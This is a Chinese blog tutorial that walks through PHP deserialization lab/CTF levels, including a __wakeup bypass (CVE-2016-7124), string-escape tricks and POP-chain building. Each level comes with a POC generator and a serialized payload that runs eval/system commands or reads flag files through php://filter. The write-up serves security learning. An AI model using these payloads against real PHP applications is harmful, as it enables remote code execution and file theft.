PHP反序列化

ooolllddd 7635 字 发布于 2026-01-26


!!!PHP是世界上最好的语言!!!

笔者这里就不赘述基本的php知识了,遇到的时候会稍微提一提,主要是靶场练习为主

这位大佬反序列化讲的很全面,可以看看:https://www.cnblogs.com/superwinner/p/17260940.html
(下次我一定再好好学习)

LEVEL--1

题目代码如下:可以看到有eval危险函数可以执行系统命令。观察逻辑,发现可以通过控制 act 的值来执行命令

<?php
highlight_file(__FILE__);
class a{
    var $act;
    function action(){
        eval($this->act);
    }
}
$a=unserialize($_GET['flag']);
$a->action();
?> 

执行代码如下,有时候要在 serialize 前加上 urlencode ,为什么使用urlencode,因为在反序列化时,protected和private变量序列化后会出现不可见的字符。本文为了方便阅读,就不加了

<?php
class a{
    var $act="show_source('flag.php');";
    }
$flag=new a();
echo serialize($flag);
EXP:
?flag=O:1:"a":1:{s:3:"act";s:24:"show_source('flag.php');";}

LEVEL--2

题目代码如下:观察逻辑,调用login()函数-->判断字段 users 以及 pass 是否符合-->返回flag

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_GET['param']);
if($a->login())
{
    echo $flag;
}
?>  

直接将class抄下来,并对关键字段赋值:

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=new mylogin("daydream","ok");
echo serialize($a);
EXP:
O:7:"mylogin":2:{s:4:"user";s:8:"daydream";s:4:"pass";s:2:"ok";}

好了,这里我们出现了疑惑:第一题为什么不能像这样做?比如我们这样写:

执行后:O:1:"a":1:{s:3:"act";N;}发现并没有传进去,是NULL!

这是因为我们如果要在实例化对象时传递参数,需要在类中定义一个构造函数(__construct)。如果没有定义构造函数,PHP 默认的构造函数不会接受任何参数。因此,$a = new a("ppppp"); 中的参数 "ppppp" 没有被传递到对象中。

修改成这样就可以了:

(顺便说一句:在 PHP 5.0 之后,var 关键字已被废弃,应该使用 public、protected 或 private 来定义类属性。不过这是题外话了)

LEVEL--3

源码如下,发现换成cookie传参,我们只需要向cookie传参即可

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
    echo $flag;
}
?> 

执行如下代码:

<?php
highlight_file(__FILE__);
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=new mylogin("daydream","ok");
echo urlencode(serialize($a));
?>
EXP:    O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D

LEVEL--4

本题将php版本调到 7.1,源码:

<?php 
highlight_file(__FILE__);
class func
{
        public $key;
        public function __destruct()
        {        
                unserialize($this->key)();
        } 
}

class GetFlag
{       public $code;
        public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
}

unserialize($_GET['param']);

?>

__destruct 方法是 PHP 中的一个特殊方法,用于在对象实例被销毁时自动调用。该方法通常用于清理对象所占用的资源,例如关闭数据库连接、释放文件句柄等。

当调用__destruct方法后又会进行反序列化。

当array内包裹的第一个值是对象,第二个是对象内的方法时,在反序列化后会调用该对象的方法

这里用到了 creat_function() 函数,当调用这个函数时,系统会生成生成一个匿名函数lambda{}所以我们选择 } 来闭合此函数

运行以下代码:

<?php
class func
{
    public $key;
    public function __destruct()
    {
        unserialize($this->key)();
    }
}

class GetFlag
{
    public $code;
    public $action;
    public function get_flag(){
        $a=$this->action;
        $a('', $this->code);
    }
}
$a1=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a1->key=serialize(array($b,"get_flag"));
echo serialize($a1);
?>
EXP:
O:4:"func":1:{s:3:"key";s:136:"a:2:{i:0;O:7:"GetFlag":2:{s:4:"code";s:34:"}include("flag.php");echo $flag;//";s:6:"action";s:15:"create_function";}i:1;s:8:"get_flag";}";}

LEVEL--5

本题为CVE-2016-7124,注意php版本<7.1:

当表示对象属性个数的值大于真实的属性个数的值时,绕过 wakeup() 方法

PHP 提供了 __wakeup() 魔术方法,当 unserialize() 反序列化一个对象成功后会自动调用该对象的定义的 __wakeup() 魔术方法。函数可以修改某些数据,或创建一个数据库连接,或添加一些属性

本题目源码:

<?php
    class secret{
        var $file='index.php';

        public function __construct($file){
            $this->file=$file;
        }

        function __destruct(){
            include_once($this->file);
            echo $flag;
        }

        function __wakeup(){
            $this->file='index.php';
        }
    }
    $cmd=$_GET['cmd'];
    if (!isset($cmd)){
        echo show_source('index.php',true);
    }
    else{
        if (preg_match('/[oc]:\d+:/i',$cmd)){
            echo "Are you daydreaming?";
        }
        else{
            unserialize($cmd);
        }
    }
    //sercet in flag.php
?>

payload:

<?php
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
        echo $flag;
    }

    function __destruct(){
        include_once($this->file);
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$a=new secret("flag.php");
echo serialize($a),"\n";
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
?>
EXP:
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

LEVEL--6

private属性序列化的时候格式是 %00类名%00成员名

protected在变量名前添加标记\00*\00;

payload:

<?php
class secret{
    private $comm;
    public function __construct($com){
        $this->comm = $com;
    }
    function __destruct(){
        echo eval($this->comm);
    }
}
$pa=new secret("system('type flag.php');");
echo serialize($pa),"\n";
EXP:
O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('type flag.php');";}

大写"S"表示键名或属性名

LEVEL--7

__call:在对象中调用类中不存在的方法时,或者是不可访问方法时被调用

源码如下:

<?php
highlight_file(__FILE__);
class you
{
    private $body;
    private $pro='';
    function __destruct()
    {
        $project=$this->pro;
        $this->body->$project();
    }
}

class my
{
    public $name;

    function __call($func, $args)
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}
$a=$_GET['a'];
unserialize($a);
?> 

分析逻辑,在 __call() 方法中输出了flag,所以我们想办法调用, 在you类中有 __destruct(),可以将 pro 作为函数名赋值给project函数,我们可以将 body 设为 my,从而调用project方法,而该方法在my类中不存在,则会调用__call()方法,payload:

<?php
class you
{
    private $body;
    private $pro;
    function __construct(){
        $this->body=new my();
        $this->pro='yourname';
    }
    function __destruct()
    {
        $project=$this->pro;
        $this->body->$project();
    }
}

class my
{
    public $name='myname';

    function __call($func, $args)
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}
$p=new you();
echo serialize($p);
EXP:
O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}

LEVEL--8

这里考察的是字符串的增量逃逸,关于逃逸问题,分为增量逃逸和字符减少逃逸

详细的知识点此处参考了两位大佬的博客:

增量逃逸

对于本题来讲:

<?php
highlight_file(__FILE__);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}

$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?> 

会将flag和php转换为hack,这里我们选用php,因为php转换为hack可以增加一个字符,我们先写出如下代码

class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$a=new test('php');
echo serialize($a);

序列化结果如下:

O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"daydream";}

我们想要daydream变为escaping,那我们就需要逃逸如下字符串:

";s:4:"pass";s:8:"escaping";}

将以上字符串注入到我们的代码中:

O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

这里需要逃逸的字符串是29个字符,每次php变成hack会增加一个字符,要增加29个字符就需要29/1=29个php,所以构造如下:

O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

当前的s:116指的是:

phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

当参与过滤函数后我们构造的

phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp

会变成

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack

刚好有116个字符,就会将后面我们构造的 ";s:4:"pass";s:8:"escaping";}挤出去,从而达成逃逸,从而整体变为:

O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

减量逃逸

懒得写了,具体思想更增量差不多,这位大佬讲的很好https://www.freebuf.com/articles/web/285985.html

LEVEL9

这里是pop链的构造,多写一点,以下是常用的魔术方法:

LEVEL9
这里是pop链的构造,多写一点,以下是常用的魔术方法:
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

__sleep() 方法是 PHP 中的一个魔术方法(magic method),用于在对象被序列化(serialized)时触发。在这个方法中,你可以指定哪些属性需要被序列化,哪些属性不需要被序列化。

具体来说,当调用 serialize() 函数将一个对象序列化时,PHP 会先自动调用对象的 __sleep() 方法,该方法需要返回一个数组,包含需要被序列化的属性名。然后 PHP 会将这些属性序列化成字符串。

__wakeup() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源 而wakeup() 用于在从字符串反序列化为对象时自动调用。一个 PHP 对象被序列化成字符串并存储在文件、数据库或者通过网络传输时,我们可以使用 unserialize() 函数将其反序列化为一个 PHP 对象。在这个过程中,PHP 会自动调用该对象的 __wakeup() 方法,对其进行初始化。

__wakeup() 方法的作用是对一个对象进行一些必要的初始化操作。例如,如果一个对象中包含了一些需要进行身份验证的属性,那么在从字符串反序列化为对象时,就可以在 __wakeup() 方法中进行身份验证。或者如果一个对象中包含了一些需要在每次初始化时计算的属性,也可以在 __wakeup() 方法中进行计算

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

__destruct() 方法是 PHP 中的一个特殊方法,用于在对象实例被销毁时自动调用。该方法通常用于清理对象所占用的资源,例如关闭数据库连接、释放文件句柄等。

本题源码:

<?php
highlight_file(__FILE__);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}



 if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

一条简单的pop链

先找头和尾:

尾一般是执行函数的地方,这里是append()

要使用它可以看到__invoke()可以写入参数

要想调用invoke就需要将对象调用为函数,这里是__get()方法

想要调用get方法就需要访问类中不存在的属性,这里的__toString()可以实现

要想调用toString,那我们可以将show类以字符串的形式赋值给自己的source属性

所以头部是show类(我画的箭头是从尾到首,注意)

POC:

<?php
class Modifier {
    private $var="flag.php";
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;    //这是个调用函数p的方式
        return $function();
    }
}
$a=new Modifier();
$b=new show();
$c=new Test();

$b->source=$b;  //把show类当成字符串赋值给属性source从而触发to_string
$b->source->str=$c; //b类中的source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get
$c->p=$a;//p是Modifier类,当这个类被当成函数调用的时候就会触发该类内的invoke

echo urlencode(serialize($b));//序列化的是$b,$b中没有construct所以不会被触发
?>

EXP:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

下面我们再做几道题加深理解:

这里的例题我参考的这位师傅:https://www.cnblogs.com/pursue-security/p/15413206.html

例题一:

源码:

<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "HelloWorld";
    }
}
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['a']);
?>

老样子,找首尾:

尾部必定是一个执行函数或者是一个可以被我们拿来利用的函数,本题是evil中的action()方法

我们再看看哪里可以执行我们的action方法,发现test类中的__destrust()中可以调用action方法

但是在__construst中,我们调用的是normal类中的action方法,我们只需要改为调用evil类中的方法即可

POC:

<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;

}
class evil {
    private $data='phpinfo();';

}
$a=new test();
$b=new evil();
$a->ClassObj=$a;
echo serialize(urlencode($a));
?>

但其实我们会发现报错:Fatal error: Uncaught Error: Cannot access protected property test::$ClassObj

这是因为ClassObj属性是protected属性,不能在类外面访问它,所以说我们得在test类里面写一个__construct()来完成这个操作:

<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct(){
        $this->ClassObj=new evil();
    }

}
class evil {
    private $data="phpinfo();";

}
$a=new test();
echo urlencode(serialize($a));
?>

例题二:

源码:

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str=$name;
    }
    public function __destruct()
    {
        $this->source=$this->str;
        echo $this->source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
        $this->params='phpinfo();';
    }
    public function __get($key){
        return $this->getshell($this->params);
    }
    public function getshell($value)
    {
        eval($this->params);
    }
}
$a = $_GET['a'];
unserialize($a);
?>

思路分析:

老样子,先找尾,看到有eval(),在getshell方法处,这就是尾

要想调用getshell方法,需要调用__get()魔术方法

要想调用__get()方法,需要找到一个类调用不存在的属性,可以看到Show类中的__toString()可以实现

要想调用__toString(),需要找到一个类被当成字符串,可以看到__destruct()可以实现

POC:

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;

}
class Show
{
    public $source;
    public $str;

}

class Uwant
{
    public $params="phpinfo();";

}
$a=new Hello();
$b=new Show();
$c=new Uwant();
$a->str=$b;
$b->str['str']=$c;
echo urlencode(serialize($a));
?>

EXP

>O%3A5%3A%22Hello%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3Ba%3A1%3A%7Bs%3A3%3A%22str%22%3BO%3A5%3A%22Uwant%22%3A1%3A%7Bs%3A6%3A%22params%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

例题三

源码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

开始分析:

尾是Modifier类中的append方法里面的include(),要想进入append,需要调用__invoke()

要想调用__invoke(),需要调用Test类中的__get()

要想调用__get(),需要调用Show类中的__toString()

要想调用__toString(),需要调用Show类中的__wakeup()

POC:

Welcome to index.php
<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$a=new Modifier();
$b=new Show();
$c=new Show();
$d=new Test();
$b->source=$c;
$c->str=$d;
$d->p=$a;
echo urlencode(serialize($b));

EXP:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

例题四

本题是2021 强网杯 赌徒,笔者懒得在本地搭建了,只写写思路:

源码:

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
    
    public function __get($name){
        $function = $this->a;
        return $function();
    }
    
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

老样子找首尾部,这里我直接放图了(这里的箭头就是从头到尾部了,之前的是从尾到头部):

POC:

<meta charset="utf-8">
<?php
error_reporting(1);

highlight_file(__FILE__);
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$a=new Start();
$b=new Info();
$c=new Room();
$d=new Room();
$a->name=$b;
$b->file['ffilename']=$c;
$c->a=$d;
echo urlencode(serialize($a));
?>

EXP:

O%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Info%22%3A3%3A%7Bs%3A17%3A%22%00Info%00phonenumber%22%3Bi%3A123123%3Bs%3A7%3A%22promise%22%3Bs%3A15%3A%22I+will+not+%21%21%21%21%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A9%3A%22ffilename%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3Bs%3A33%3A%22syst3m%28%22cat+127.0.0.1%2Fetc%2Fhint%22%29%3B%22%3B%7D

其实主要考魔术方法,找首尾,构建pop链接,有很多东西需要大家做题慢慢去体会,比如一个类里面有两个方法会被构建进pop链,那么就需要new两个此类。在构造时是从首部开始构建。。。。

笔者认为考这些就差不多了,其余进阶:https://blog.csdn.net/qq_73767109/article/details/130856442

此作者没有提供个人介绍。
最后更新于 2026-01-26